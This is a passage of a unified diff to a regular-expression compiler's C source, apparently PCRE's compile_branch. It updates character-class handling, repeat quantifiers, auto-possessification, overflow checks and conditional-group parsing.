             int uc = cd->fcc[c];           /* flip case */
             classbits[uc/8] |= (1 << (uc&7));
             }
-          class_charcount++;                /* in case a one-char range */
-          class_lastchar = c;
           }
 
         continue;   /* Go get the next char in the class */
@@ -2205,8 +3524,8 @@
 #ifdef SUPPORT_UCP
         if ((options & PCRE_CASELESS) != 0)
           {
-          int othercase;
-          if ((othercase = _pcre_ucp_othercase(c)) >= 0)
+          unsigned int othercase;
+          if ((othercase = UCD_OTHERCASE(c)) != c)
             {
             *class_utf8data++ = XCL_SINGLE;
             class_utf8data += _pcre_ord2utf8(othercase, class_utf8data);
@@ -2231,18 +3550,45 @@
         }
       }
 
-    /* Loop until ']' reached; the check for end of string happens inside the
-    loop. This "while" is the end of the "do" above. */
+    /* Loop until ']' reached. This "while" is the end of the "do" above. */
 
-    while ((c = *(++ptr)) != ']' || inescq);
+    while ((c = *(++ptr)) != 0 && (c != CHAR_RIGHT_SQUARE_BRACKET || inescq));
 
+    if (c == 0)                          /* Missing terminating ']' */
+      {
+      *errorcodeptr = ERR6;
+      goto FAILED;
+      }
+
+
+/* This code has been disabled because it would mean that \s counts as
+an explicit \r or \n reference, and that's not really what is wanted. Now
+we set the flag only if there is a literal "\r" or "\n" in the class. */
+
+#if 0
+    /* Remember whether \r or \n are in this class */
+
+    if (negate_class)
+      {
+      if ((classbits[1] & 0x24) != 0x24) cd->external_flags |= PCRE_HASCRORLF;
+      }
+    else
+      {
+      if ((classbits[1] & 0x24) != 0) cd->external_flags |= PCRE_HASCRORLF;
+      }
+#endif
+
+
     /* If class_charcount is 1, we saw precisely one character whose value is
-    less than 256. In non-UTF-8 mode we can always optimize. In UTF-8 mode, we
-    can optimize the negative case only if there were no characters >= 128
-    because OP_NOT and the related opcodes like OP_NOTSTAR operate on
-    single-bytes only. This is an historical hangover. Maybe one day we can
-    tidy these opcodes to handle multi-byte characters.
+    less than 256. As long as there were no characters >= 128 and there was no
+    use of \p or \P, in other words, no use of any XCLASS features, we can
+    optimize.
 
+    In UTF-8 mode, we can optimize the negative case only if there were no
+    characters >= 128 because OP_NOT and the related opcodes like OP_NOTSTAR
+    operate on single-bytes only. This is an historical hangover. Maybe one day
+    we can tidy these opcodes to handle multi-byte characters.
+
     The optimization throws away the bit map. We turn the item into a
     1-character OP_CHAR[NC] if it's positive, or OP_NOT if it's negative. Note
     that OP_NOT does not support multibyte characters. In the positive case, it
@@ -2251,10 +3597,8 @@
     reqbyte, save the previous value for reinstating. */
 
 #ifdef SUPPORT_UTF8
-    if (class_charcount == 1 &&
-          (!utf8 ||
-          (!class_utf8 && (!negate_class || class_lastchar < 128))))
-
+    if (class_charcount == 1 && !class_utf8 &&
+      (!utf8 || !negate_class || class_lastchar < 128))
 #else
     if (class_charcount == 1)
 #endif
@@ -2297,36 +3641,32 @@
     zeroreqbyte = reqbyte;
 
     /* If there are characters with values > 255, we have to compile an
-    extended class, with its own opcode. If there are no characters < 256,
-    we can omit the bitmap. */
+    extended class, with its own opcode, unless there was a negated special
+    such as \S in the class, because in that case all characters > 255 are in
+    the class, so any that were explicitly given as well can be ignored. If
+    (when there are explicit characters > 255 that must be listed) there are no
+    characters < 256, we can omit the bitmap in the actual compiled code. */
 
 #ifdef SUPPORT_UTF8
-    if (class_utf8)
+    if (class_utf8 && !should_flip_negation)
       {
       *class_utf8data++ = XCL_END;    /* Marks the end of extra data */
       *code++ = OP_XCLASS;
       code += LINK_SIZE;
       *code = negate_class? XCL_NOT : 0;
 
-      /* If the map is required, install it, and move on to the end of
-      the extra data */
+      /* If the map is required, move up the extra data to make room for it;
+      otherwise just move the code pointer to the end of the extra data. */
 
       if (class_charcount > 0)
         {
         *code++ |= XCL_MAP;
+        memmove(code + 32, code, class_utf8data - code);
         memcpy(code, classbits, 32);
-        code = class_utf8data;
+        code = class_utf8data + 32;
         }
+      else code = class_utf8data;
 
-      /* If the map is not required, slide down the extra data. */
-
-      else
-        {
-        int len = class_utf8data - (code + 33);
-        memmove(code + 1, code + 33, len);
-        code += len + 1;
-        }
-
       /* Now fill in the complete length of the item */
 
       PUT(previous, 1, code - previous);
@@ -2334,44 +3674,46 @@
       }
 #endif
 
-    /* If there are no characters > 255, negate the 32-byte map if necessary,
-    and copy it into the code vector. If this is the first thing in the branch,
-    there can be no first char setting, whatever the repeat count. Any reqbyte
-    setting must remain unchanged after any kind of repeat. */
+    /* If there are no characters > 255, set the opcode to OP_CLASS or
+    OP_NCLASS, depending on whether the whole class was negated and whether
+    there were negative specials such as \S in the class. Then copy the 32-byte
+    map into the code vector, negating it if necessary. */
 
+    *code++ = (negate_class == should_flip_negation) ? OP_CLASS : OP_NCLASS;
     if (negate_class)
       {
-      *code++ = OP_NCLASS;
-      for (c = 0; c < 32; c++) code[c] = ~classbits[c];
+      if (lengthptr == NULL)    /* Save time in the pre-compile phase */
+        for (c = 0; c < 32; c++) code[c] = ~classbits[c];
       }
     else
       {
-      *code++ = OP_CLASS;
       memcpy(code, classbits, 32);
       }
     code += 32;
     break;
 
+
+    /* ===================================================================*/
     /* Various kinds of repeat; '{' is not necessarily a quantifier, but this
     has been tested above. */
 
-    case '{':
+    case CHAR_LEFT_CURLY_BRACKET:
     if (!is_quantifier) goto NORMAL_CHAR;
     ptr = read_repeat_counts(ptr+1, &repeat_min, &repeat_max, errorcodeptr);
     if (*errorcodeptr != 0) goto FAILED;
     goto REPEAT;
 
-    case '*':
+    case CHAR_ASTERISK:
     repeat_min = 0;
     repeat_max = -1;
     goto REPEAT;
 
-    case '+':
+    case CHAR_PLUS:
     repeat_min = 1;
     repeat_max = -1;
     goto REPEAT;
 
-    case '?':
+    case CHAR_QUESTION_MARK:
     repeat_min = 0;
     repeat_max = 1;
 
@@ -2406,33 +3748,19 @@
     but if PCRE_UNGREEDY is set, it works the other way round. We change the
     repeat type to the non-default. */
 
-    if (ptr[1] == '+')
+    if (ptr[1] == CHAR_PLUS)
       {
       repeat_type = 0;                  /* Force greedy */
       possessive_quantifier = TRUE;
       ptr++;
       }
-    else if (ptr[1] == '?')
+    else if (ptr[1] == CHAR_QUESTION_MARK)
       {
       repeat_type = greedy_non_default;
       ptr++;
       }
     else repeat_type = greedy_default;
 
-    /* If previous was a recursion, we need to wrap it inside brackets so that
-    it can be replicated if necessary. */
-
-    if (*previous == OP_RECURSE)
-      {
-      memmove(previous + 1 + LINK_SIZE, previous, 1 + LINK_SIZE);
-      code += 1 + LINK_SIZE;
-      *previous = OP_BRA;
-      PUT(previous, 1, code - previous);
-      *code = OP_KET;
-      PUT(code, 1, code - previous);
-      code += 1 + LINK_SIZE;
-      }
-
     /* If previous was a character match, abolish the item and generate a
     repeat item instead. If a char item has a minumum of more than one, ensure
     that it is set in reqbyte - it might not be if a sequence such as x{3} is
@@ -2466,18 +3794,40 @@
         if (repeat_min > 1) reqbyte = c | req_caseopt | cd->req_varyopt;
         }
 
+      /* If the repetition is unlimited, it pays to see if the next thing on
+      the line is something that cannot possibly match this character. If so,
+      automatically possessifying this item gains some performance in the case
+      where the match fails. */
+
+      if (!possessive_quantifier &&
+          repeat_max < 0 &&
+          check_auto_possessive(*previous, c, utf8, utf8_char, ptr + 1,
+            options, cd))
+        {
+        repeat_type = 0;    /* Force greedy */
+        possessive_quantifier = TRUE;
+        }
+
       goto OUTPUT_SINGLE_REPEAT;   /* Code shared with single character types */
       }
 
     /* If previous was a single negated character ([^a] or similar), we use
     one of the special opcodes, replacing it. The code is shared with single-
     character repeats by setting opt_type to add a suitable offset into
-    repeat_type. OP_NOT is currently used only for single-byte chars. */
+    repeat_type. We can also test for auto-possessification. OP_NOT is
+    currently used only for single-byte chars. */
 
     else if (*previous == OP_NOT)
       {
       op_type = OP_NOTSTAR - OP_STAR;  /* Use "not" opcodes */
       c = previous[1];
+      if (!possessive_quantifier &&
+          repeat_max < 0 &&
+          check_auto_possessive(OP_NOT, c, utf8, NULL, ptr + 1, options, cd))
+        {
+        repeat_type = 0;    /* Force greedy */
+        possessive_quantifier = TRUE;
+        }
       goto OUTPUT_SINGLE_REPEAT;
       }
 
@@ -2495,6 +3845,14 @@
       op_type = OP_TYPESTAR - OP_STAR;  /* Use type opcodes */
       c = *previous;
 
+      if (!possessive_quantifier &&
+          repeat_max < 0 &&
+          check_auto_possessive(c, 0, utf8, NULL, ptr + 1, options, cd))
+        {
+        repeat_type = 0;    /* Force greedy */
+        possessive_quantifier = TRUE;
+        }
+
       OUTPUT_SINGLE_REPEAT:
       if (*previous == OP_PROP || *previous == OP_NOTPROP)
         {
@@ -2514,7 +3872,7 @@
       /* All real repeats make it impossible to handle partial matching (maybe
       one day we will be able to remove this restriction). */
 
-      if (repeat_max != 1) cd->nopartial = TRUE;
+      if (repeat_max != 1) cd->external_flags |= PCRE_NOPARTIAL;
 
       /* Combine the op_type with the repeat_type */
 
@@ -2535,7 +3893,7 @@
         }
 
       /* A repeat minimum of 1 is optimized into some special cases. If the
-      maximum is unlimited, we use OP_PLUS. Otherwise, the original item it
+      maximum is unlimited, we use OP_PLUS. Otherwise, the original item is
       left in place and, if the maximum is greater than 1, we use OP_UPTO with
       one less than the maximum. */
 
@@ -2588,7 +3946,8 @@
           }
 
         /* Else insert an UPTO if the max is greater than the min, again
-        preceded by the character, for the previously inserted code. */
+        preceded by the character, for the previously inserted code. If the
+        UPTO is just for 1 instance, we can use QUERY instead. */
 
         else if (repeat_max != repeat_min)
           {
@@ -2607,8 +3966,16 @@
             *code++ = prop_value;
             }
           repeat_max -= repeat_min;
-          *code++ = OP_UPTO + repeat_type;
-          PUT2INC(code, 0, repeat_max);
+
+          if (repeat_max == 1)
+            {
+            *code++ = OP_QUERY + repeat_type;
+            }
+          else
+            {
+            *code++ = OP_UPTO + repeat_type;
+            PUT2INC(code, 0, repeat_max);
+            }
           }
         }
 
@@ -2655,7 +4022,7 @@
       /* All real repeats make it impossible to handle partial matching (maybe
       one day we will be able to remove this restriction). */
 
-      if (repeat_max != 1) cd->nopartial = TRUE;
+      if (repeat_max != 1) cd->external_flags |= PCRE_NOPARTIAL;
 
       if (repeat_min == 0 && repeat_max == -1)
         *code++ = OP_CRSTAR + repeat_type;
@@ -2675,14 +4042,22 @@
     /* If previous was a bracket group, we may have to replicate it in certain
     cases. */
 
-    else if (*previous >= OP_BRA || *previous == OP_ONCE ||
-             *previous == OP_COND)
+    else if (*previous == OP_BRA  || *previous == OP_CBRA ||
+             *previous == OP_ONCE || *previous == OP_COND)
       {
       register int i;
       int ketoffset = 0;
       int len = code - previous;
       uschar *bralink = NULL;
 
+      /* Repeating a DEFINE group is pointless */
+
+      if (*previous == OP_COND && previous[LINK_SIZE+1] == OP_DEF)
+        {
+        *errorcodeptr = ERR55;
+        goto FAILED;
+        }
+
       /* If the maximum repeat count is unlimited, find the end of the bracket
       by scanning through from the start, and compute the offset back to it
       from the current code pointer. There may be an OP_OPT setting following
@@ -2705,27 +4080,38 @@
 
       if (repeat_min == 0)
         {
-        /* If the maximum is also zero, we just omit the group from the output
-        altogether. */
+        /* If the maximum is also zero, we used to just omit the group from the
+        output altogether, like this:
 
-        if (repeat_max == 0)
-          {
-          code = previous;
-          goto END_REPEAT;
-          }
+        ** if (repeat_max == 0)
+        **   {
+        **   code = previous;
+        **   goto END_REPEAT;
+        **   }
 
-        /* If the maximum is 1 or unlimited, we just have to stick in the
-        BRAZERO and do no more at this point. However, we do need to adjust
-        any OP_RECURSE calls inside the group that refer to the group itself or
-        any internal group, because the offset is from the start of the whole
-        regex. Temporarily terminate the pattern while doing this. */
+        However, that fails when a group is referenced as a subroutine from
+        elsewhere in the pattern, so now we stick in OP_SKIPZERO in front of it
+        so that it is skipped on execution. As we don't have a list of which
+        groups are referenced, we cannot do this selectively.
 
-        if (repeat_max <= 1)
+        If the maximum is 1 or unlimited, we just have to stick in the BRAZERO
+        and do no more at this point. However, we do need to adjust any
+        OP_RECURSE calls inside the group that refer to the group itself or any
+        internal or forward referenced group, because the offset is from the
+        start of the whole regex. Temporarily terminate the pattern while doing
+        this. */
+
+        if (repeat_max <= 1)    /* Covers 0, 1, and unlimited */
           {
           *code = OP_END;
-          adjust_recurse(previous, 1, utf8, cd);
+          adjust_recurse(previous, 1, utf8, cd, save_hwm);
           memmove(previous+1, previous, len);
           code++;
+          if (repeat_max == 0)
+            {
+            *previous++ = OP_SKIPZERO;
+            goto END_REPEAT;
+            }
           *previous++ = OP_BRAZERO + repeat_type;
           }
 
@@ -2741,7 +4127,7 @@
           {
           int offset;
           *code = OP_END;
-          adjust_recurse(previous, 2 + LINK_SIZE, utf8, cd);
+          adjust_recurse(previous, 2 + LINK_SIZE, utf8, cd, save_hwm);
           memmove(previous + 2 + LINK_SIZE, previous, len);
           code += 2 + LINK_SIZE;
           *previous++ = OP_BRAZERO + repeat_type;
@@ -2761,19 +4147,52 @@
       /* If the minimum is greater than zero, replicate the group as many
       times as necessary, and adjust the maximum to the number of subsequent
       copies that we need. If we set a first char from the group, and didn't
-      set a required char, copy the latter from the former. */
+      set a required char, copy the latter from the former. If there are any
+      forward reference subroutine calls in the group, there will be entries on
+      the workspace list; replicate these with an appropriate increment. */
 
       else
         {
         if (repeat_min > 1)
           {
-          if (groupsetfirstbyte && reqbyte < 0) reqbyte = firstbyte;
-          for (i = 1; i < repeat_min; i++)
+          /* In the pre-compile phase, we don't actually do the replication. We
+          just adjust the length as if we had. Do some paranoid checks for
+          potential integer overflow. */
+
+          if (lengthptr != NULL)
             {
-            memcpy(code, previous, len);
-            code += len;
+            int delta = (repeat_min - 1)*length_prevgroup;
+            if ((double)(repeat_min - 1)*(double)length_prevgroup >
+                                                            (double)INT_MAX ||
+                OFLOW_MAX - *lengthptr < delta)
+              {
+              *errorcodeptr = ERR20;
+              goto FAILED;
+              }
+            *lengthptr += delta;
             }
+
+          /* This is compiling for real */
+
+          else
+            {
+            if (groupsetfirstbyte && reqbyte < 0) reqbyte = firstbyte;
+            for (i = 1; i < repeat_min; i++)
+              {
+              uschar *hc;
+              uschar *this_hwm = cd->hwm;
+              memcpy(code, previous, len);
+              for (hc = save_hwm; hc < this_hwm; hc += LINK_SIZE)
+                {
+                PUT(cd->hwm, 0, GET(hc, 0) + len);
+                cd->hwm += LINK_SIZE;
+                }
+              save_hwm = this_hwm;
+              code += len;
+              }
+            }
           }
+
         if (repeat_max > 0) repeat_max -= repeat_min;
         }
 
@@ -2781,12 +4200,39 @@
       the maximum is limited, it replicates the group in a nested fashion,
       remembering the bracket starts on a stack. In the case of a zero minimum,
       the first one was set up above. In all cases the repeat_max now specifies
-      the number of additional copies needed. */
+      the number of additional copies needed. Again, we must remember to
+      replicate entries on the forward reference list. */
 
       if (repeat_max >= 0)
         {
-        for (i = repeat_max - 1; i >= 0; i--)
+        /* In the pre-compile phase, we don't actually do the replication. We
+        just adjust the length as if we had. For each repetition we must add 1
+        to the length for BRAZERO and for all but the last repetition we must
+        add 2 + 2*LINKSIZE to allow for the nesting that occurs. Do some
+        paranoid checks to avoid integer overflow. */
+
+        if (lengthptr != NULL && repeat_max > 0)
           {
+          int delta = repeat_max * (length_prevgroup + 1 + 2 + 2*LINK_SIZE) -
+                      2 - 2*LINK_SIZE;   /* Last one doesn't nest */
+          if ((double)repeat_max *
+                (double)(length_prevgroup + 1 + 2 + 2*LINK_SIZE)
+                  > (double)INT_MAX ||
+              OFLOW_MAX - *lengthptr < delta)
+            {
+            *errorcodeptr = ERR20;
+            goto FAILED;
+            }
+          *lengthptr += delta;
+          }
+
+        /* This is compiling for real */
+
+        else for (i = repeat_max - 1; i >= 0; i--)
+          {
+          uschar *hc;
+          uschar *this_hwm = cd->hwm;
+
           *code++ = OP_BRAZERO + repeat_type;
 
           /* All but the final copy start a new nesting, maintaining the
@@ -2802,6 +4248,12 @@
             }
 
           memcpy(code, previous, len);
+          for (hc = save_hwm; hc < this_hwm; hc += LINK_SIZE)
+            {
+            PUT(cd->hwm, 0, GET(hc, 0) + len + ((i != 0)? 2+LINK_SIZE : 1));
+            cd->hwm += LINK_SIZE;
+            }
+          save_hwm = this_hwm;
           code += len;
           }
 
@@ -2824,11 +4276,43 @@
       /* If the maximum is unlimited, set a repeater in the final copy. We
       can't just offset backwards from the current code point, because we
       don't know if there's been an options resetting after the ket. The
-      correct offset was computed above. */
+      correct offset was computed above.
 
-      else code[-ketoffset] = OP_KETRMAX + repeat_type;
+      Then, when we are doing the actual compile phase, check to see whether
+      this group is a non-atomic one that could match an empty string. If so,
+      convert the initial operator to the S form (e.g. OP_BRA -> OP_SBRA) so
+      that runtime checking can be done. [This check is also applied to
+      atomic groups at runtime, but in a different way.] */
+
+      else
+        {
+        uschar *ketcode = code - ketoffset;
+        uschar *bracode = ketcode - GET(ketcode, 1);
+        *ketcode = OP_KETRMAX + repeat_type;
+        if (lengthptr == NULL && *bracode != OP_ONCE)
+          {
+          uschar *scode = bracode;
+          do
+            {
+            if (could_be_empty_branch(scode, ketcode, utf8))
+              {
+              *bracode += OP_SBRA - OP_BRA;
+              break;
+              }
+            scode += GET(scode, 1);
+            }
+          while (*scode == OP_ALT);
+          }
+        }
       }
 
+    /* If previous is OP_FAIL, it was generated by an empty class [] in
+    JavaScript mode. The other ways in which OP_FAIL can be generated, that is
+    by (*FAIL) or (?!) set previous to NULL, which gives a "nothing to repeat"
+    error above. We can just ignore the repeat in JS case. */
+
+    else if (*previous == OP_FAIL) goto END_REPEAT;
+
     /* Else there's some kind of shambles */
 
     else
@@ -2837,22 +4321,55 @@
       goto FAILED;
       }
 
-    /* If the character following a repeat is '+', we wrap the entire repeated
-    item inside OP_ONCE brackets. This is just syntactic sugar, taken from
-    Sun's Java package. The repeated item starts at tempcode, not at previous,
-    which might be the first part of a string whose (former) last char we
-    repeated. However, we don't support '+' after a greediness '?'. */
+    /* If the character following a repeat is '+', or if certain optimization
+    tests above succeeded, possessive_quantifier is TRUE. For some of the
+    simpler opcodes, there is an special alternative opcode for this. For
+    anything else, we wrap the entire repeated item inside OP_ONCE brackets.
+    The '+' notation is just syntactic sugar, taken from Sun's Java package,
+    but the special opcodes can optimize it a bit. The repeated item starts at
+    tempcode, not at previous, which might be the first part of a string whose
+    (former) last char we repeated.
 
+    Possessifying an 'exact' quantifier has no effect, so we can ignore it. But
+    an 'upto' may follow. We skip over an 'exact' item, and then test the
+    length of what remains before proceeding. */
+
     if (possessive_quantifier)
       {
-      int len = code - tempcode;
-      memmove(tempcode + 1+LINK_SIZE, tempcode, len);
-      code += 1 + LINK_SIZE;
-      len += 1 + LINK_SIZE;
-      tempcode[0] = OP_ONCE;
-      *code++ = OP_KET;
-      PUTINC(code, 0, len);
-      PUT(tempcode, 1, len);
+      int len;
+      if (*tempcode == OP_EXACT || *tempcode == OP_TYPEEXACT ||
+          *tempcode == OP_NOTEXACT)
+        tempcode += _pcre_OP_lengths[*tempcode] +
+          ((*tempcode == OP_TYPEEXACT &&
+             (tempcode[3] == OP_PROP || tempcode[3] == OP_NOTPROP))? 2:0);
+      len = code - tempcode;
+      if (len > 0) switch (*tempcode)
+        {
+        case OP_STAR:  *tempcode = OP_POSSTAR; break;
+        case OP_PLUS:  *tempcode = OP_POSPLUS; break;
+        case OP_QUERY: *tempcode = OP_POSQUERY; break;
+        case OP_UPTO:  *tempcode = OP_POSUPTO; break;
+
+        case OP_TYPESTAR:  *tempcode = OP_TYPEPOSSTAR; break;
+        case OP_TYPEPLUS:  *tempcode = OP_TYPEPOSPLUS; break;
+        case OP_TYPEQUERY: *tempcode = OP_TYPEPOSQUERY; break;
+        case OP_TYPEUPTO:  *tempcode = OP_TYPEPOSUPTO; break;
+
+        case OP_NOTSTAR:  *tempcode = OP_NOTPOSSTAR; break;
+        case OP_NOTPLUS:  *tempcode = OP_NOTPOSPLUS; break;
+        case OP_NOTQUERY: *tempcode = OP_NOTPOSQUERY; break;
+        case OP_NOTUPTO:  *tempcode = OP_NOTPOSUPTO; break;
+
+        default:
+        memmove(tempcode + 1+LINK_SIZE, tempcode, len);
+        code += 1 + LINK_SIZE;
+        len += 1 + LINK_SIZE;
+        tempcode[0] = OP_ONCE;
+        *code++ = OP_KET;
+        PUTINC(code, 0, len);
+        PUT(tempcode, 1, len);
+        break;
+        }
       }
 
     /* In all case we no longer have a previous item. We also set the
@@ -2865,162 +4382,354 @@
     break;
 
 
-    /* Start of nested bracket sub-expression, or comment or lookahead or
-    lookbehind or option setting or condition. First deal with special things
-    that can come after a bracket; all are introduced by ?, and the appearance
-    of any of them means that this is not a referencing group. They were
-    checked for validity in the first pass over the string, so we don't have to
-    check for syntax errors here.  */
+    /* ===================================================================*/
+    /* Start of nested parenthesized sub-expression, or comment or lookahead or
+    lookbehind or option setting or condition or all the other extended
+    parenthesis forms.  */
 
-    case '(':
+    case CHAR_LEFT_PARENTHESIS:
     newoptions = options;
     skipbytes = 0;
+    bravalue = OP_CBRA;
+    save_hwm = cd->hwm;
+    reset_bracount = FALSE;
 
-    if (*(++ptr) == '?')
+    /* First deal with various "verbs" that can be introduced by '*'. */
+
+    if (*(++ptr) == CHAR_ASTERISK && (cd->ctypes[ptr[1]] & ctype_letter) != 0)
       {
-      int set, unset;
+      int i, namelen;
+      const char *vn = verbnames;
+      const uschar *name = ++ptr;
+      previous = NULL;
+      while ((cd->ctypes[*++ptr] & ctype_letter) != 0) {};
+      if (*ptr == CHAR_COLON)
+        {
+        *errorcodeptr = ERR59;   /* Not supported */
+        goto FAILED;
+        }
+      if (*ptr != CHAR_RIGHT_PARENTHESIS)
+        {
+        *errorcodeptr = ERR60;
+        goto FAILED;
+        }
+      namelen = ptr - name;
+      for (i = 0; i < verbcount; i++)
+        {
+        if (namelen == verbs[i].len &&
+            strncmp((char *)name, vn, namelen) == 0)
+          {
+          *code = verbs[i].op;
+          if (*code++ == OP_ACCEPT) cd->had_accept = TRUE;
+          break;
+          }
+        vn += verbs[i].len + 1;
+        }
+      if (i < verbcount) continue;
+      *errorcodeptr = ERR60;
+      goto FAILED;
+      }
+
+    /* Deal with the extended parentheses; all are introduced by '?', and the
+    appearance of any of them means that this is not a capturing group. */
+
+    else if (*ptr == CHAR_QUESTION_MARK)
+      {
+      int i, set, unset, namelen;
       int *optset;
+      const uschar *name;
+      uschar *slot;
 
       switch (*(++ptr))
         {
-        case '#':                 /* Comment; skip to ket */
+        case CHAR_NUMBER_SIGN:                 /* Comment; skip to ket */
         ptr++;
-        while (*ptr != ')') ptr++;
+        while (*ptr != 0 && *ptr != CHAR_RIGHT_PARENTHESIS) ptr++;
+        if (*ptr == 0)
+          {
+          *errorcodeptr = ERR18;
+          goto FAILED;
+          }
         continue;
 
-        case ':':                 /* Non-extracting bracket */
+
+        /* ------------------------------------------------------------ */
+        case CHAR_VERTICAL_LINE:  /* Reset capture count for each branch */
+        reset_bracount = TRUE;
+        /* Fall through */
+
+        /* ------------------------------------------------------------ */
+        case CHAR_COLON:          /* Non-capturing bracket */
         bravalue = OP_BRA;
         ptr++;
         break;
 
-        case '(':
+
+        /* ------------------------------------------------------------ */
+        case CHAR_LEFT_PARENTHESIS:
         bravalue = OP_COND;       /* Conditional group */
 
-        /* A condition can be a number, referring to a numbered group, a name,
-        referring to a named group, 'R', referring to recursion, or an
-        assertion. There are two unfortunate ambiguities, caused by history.
-        (a) 'R' can be the recursive thing or the name 'R', and (b) a number
-        could be a name that consists of digits. In both cases, we look for a
-        name first; if not found, we try the other cases. If the first
-        character after (?( is a word character, we know the rest up to ) will
-        also be word characters because the syntax was checked in the first
-        pass. */
+        /* A condition can be an assertion, a number (referring to a numbered
+        group), a name (referring to a named group), or 'R', referring to
+        recursion. R<digits> and R&name are also permitted for recursion tests.
 
-        if ((cd->ctypes[ptr[1]] & ctype_word) != 0)
+        There are several syntaxes for testing a named group: (?(name)) is used
+        by Python; Perl 5.10 onwards uses (?(<name>) or (?('name')).
+
+        There are two unfortunate ambiguities, caused by history. (a) 'R' can
+        be the recursive thing or the name 'R' (and similarly for 'R' followed
+        by digits), and (b) a number could be a name that consists of digits.
+        In both cases, we look for a name first; if not found, we try the other
+        cases. */
+
+        /* For conditions that are assertions, check the syntax, and then exit
+        the switch. This will take control down to where bracketed groups,
+        including assertions, are processed. */
+
+        if (ptr[1] == CHAR_QUESTION_MARK && (ptr[2] == CHAR_EQUALS_SIGN ||
+            ptr[2] == CHAR_EXCLAMATION_MARK || ptr[2] == CHAR_LESS_THAN_SIGN))
+          break;
+
+        /* Most other conditions use OP_CREF (a couple change to OP_RREF
+        below), and all need to skip 3 bytes at the start of the group. */
+
+        code[1+LINK_SIZE] = OP_CREF;
+        skipbytes = 3;
+        refsign = -1;
+
+        /* Check for a test for recursion in a named group. */
+
+        if (ptr[1] == CHAR_R && ptr[2] == CHAR_AMPERSAND)
           {
-          int i, namelen;
-          int condref = 0;
-          const uschar *name;
-          uschar *slot = cd->name_table;
+          terminator = -1;
+          ptr += 2;
+          code[1+LINK_SIZE] = OP_RREF;    /* Change the type of test */
+          }
 
-          /* This is needed for all successful cases. */
+        /* Check for a test for a named group's having been set, using the Perl
+        syntax (?(<name>) or (?('name') */
 
-          skipbytes = 3;
+        else if (ptr[1] == CHAR_LESS_THAN_SIGN)
+          {
+          terminator = CHAR_GREATER_THAN_SIGN;
+          ptr++;
+          }
+        else if (ptr[1] == CHAR_APOSTROPHE)
+          {
+          terminator = CHAR_APOSTROPHE;
+          ptr++;
+          }
+        else
+          {
+          terminator = 0;
+          if (ptr[1] == CHAR_MINUS || ptr[1] == CHAR_PLUS) refsign = *(++ptr);
+          }
 
-          /* Read the name, but also get it as a number if it's all digits */
+        /* We now expect to read a name; any thing else is an error */
 
-          name = ++ptr;
-          while (*ptr != ')')
-            {
-            if (condref >= 0)
-              condref = ((digitab[*ptr] & ctype_digit) != 0)?
-                condref * 10 + *ptr - '0' : -1;
-            ptr++;
-            }
-          namelen = ptr - name;
+        if ((cd->ctypes[ptr[1]] & ctype_word) == 0)
+          {
+          ptr += 1;  /* To get the right offset */
+          *errorcodeptr = ERR28;
+          goto FAILED;
+          }
+
+        /* Read the name, but also get it as a number if it's all digits */
+
+        recno = 0;
+        name = ++ptr;
+        while ((cd->ctypes[*ptr] & ctype_word) != 0)
+          {
+          if (recno >= 0)
+            recno = ((digitab[*ptr] & ctype_digit) != 0)?
+              recno * 10 + *ptr - CHAR_0 : -1;
           ptr++;
+          }
+        namelen = ptr - name;
 
-          for (i = 0; i < cd->names_found; i++)
-            {
-            if (strncmp((char *)name, (char *)slot+2, namelen) == 0) break;
-            slot += cd->name_entry_size;
-            }
+        if ((terminator > 0 && *ptr++ != terminator) ||
+            *ptr++ != CHAR_RIGHT_PARENTHESIS)
+          {
+          ptr--;      /* Error offset */
+          *errorcodeptr = ERR26;
+          goto FAILED;
+          }
 
-          /* Found a previous named subpattern */
+        /* Do no further checking in the pre-compile phase. */
 
-          if (i < cd->names_found)
-            {
-            condref = GET2(slot, 0);
-            code[1+LINK_SIZE] = OP_CREF;
-            PUT2(code, 2+LINK_SIZE, condref);
-            }
+        if (lengthptr != NULL) break;
 
-          /* Search the pattern for a forward reference */
+        /* In the real compile we do the work of looking for the actual
+        reference. If the string started with "+" or "-" we require the rest to
+        be digits, in which case recno will be set. */
 
-          else if ((i = find_named_parens(ptr, *brackets, name, namelen)) > 0)
+        if (refsign > 0)
+          {
+          if (recno <= 0)
             {
-            code[1+LINK_SIZE] = OP_CREF;
-            PUT2(code, 2+LINK_SIZE, i);
+            *errorcodeptr = ERR58;
+            goto FAILED;
             }
-
-          /* Check for 'R' for recursion */
-
-          else if (namelen == 1 && *name == 'R')
+          recno = (refsign == CHAR_MINUS)?
+            cd->bracount - recno + 1 : recno +cd->bracount;
+          if (recno <= 0 || recno > cd->final_bracount)
             {
-            code[1+LINK_SIZE] = OP_CREF;
-            PUT2(code, 2+LINK_SIZE, CREF_RECURSE);
+            *errorcodeptr = ERR15;
+            goto FAILED;
             }
+          PUT2(code, 2+LINK_SIZE, recno);
+          break;
+          }
 
-          /* Check for a subpattern number */
+        /* Otherwise (did not start with "+" or "-"), start by looking for the
+        name. */
 
-          else if (condref > 0)
-            {
-            code[1+LINK_SIZE] = OP_CREF;
-            PUT2(code, 2+LINK_SIZE, condref);
-            }
+        slot = cd->name_table;
+        for (i = 0; i < cd->names_found; i++)
+          {
+          if (strncmp((char *)name, (char *)slot+2, namelen) == 0) break;
+          slot += cd->name_entry_size;
+          }
 
-          /* Either an unidentified subpattern, or a reference to (?(0) */
+        /* Found a previous named subpattern */
 
-          else
+        if (i < cd->names_found)
+          {
+          recno = GET2(slot, 0);
+          PUT2(code, 2+LINK_SIZE, recno);
+          }
+
+        /* Search the pattern for a forward reference */
+
+        else if ((i = find_parens(cd, name, namelen,
+                        (options & PCRE_EXTENDED) != 0)) > 0)
+          {
+          PUT2(code, 2+LINK_SIZE, i);
+          }
+
+        /* If terminator == 0 it means that the name followed directly after
+        the opening parenthesis [e.g. (?(abc)...] and in this case there are
+        some further alternatives to try. For the cases where terminator != 0
+        [things like (?(<name>... or (?('name')... or (?(R&name)... ] we have
+        now checked all the possibilities, so give an error. */
+
+        else if (terminator != 0)
+          {
+          *errorcodeptr = ERR15;
+          goto FAILED;
+          }
+
+        /* Check for (?(R) for recursion. Allow digits after R to specify a
+        specific group number. */
+
+        else if (*name == CHAR_R)
+          {
+          recno = 0;
+          for (i = 1; i < namelen; i++)
             {
-            *errorcodeptr = (condref == 0)? ERR35: ERR15;
-            goto FAILED;
+            if ((digitab[name[i]] & ctype_digit) == 0)
+              {
+              *errorcodeptr = ERR15;
+              goto FAILED;
+              }
+            recno = recno * 10 + name[i] - CHAR_0;
             }
+          if (recno == 0) recno = RREF_ANY;
+          code[1+LINK_SIZE] = OP_RREF;      /* Change test type */
+          PUT2(code, 2+LINK_SIZE, recno);
           }
 
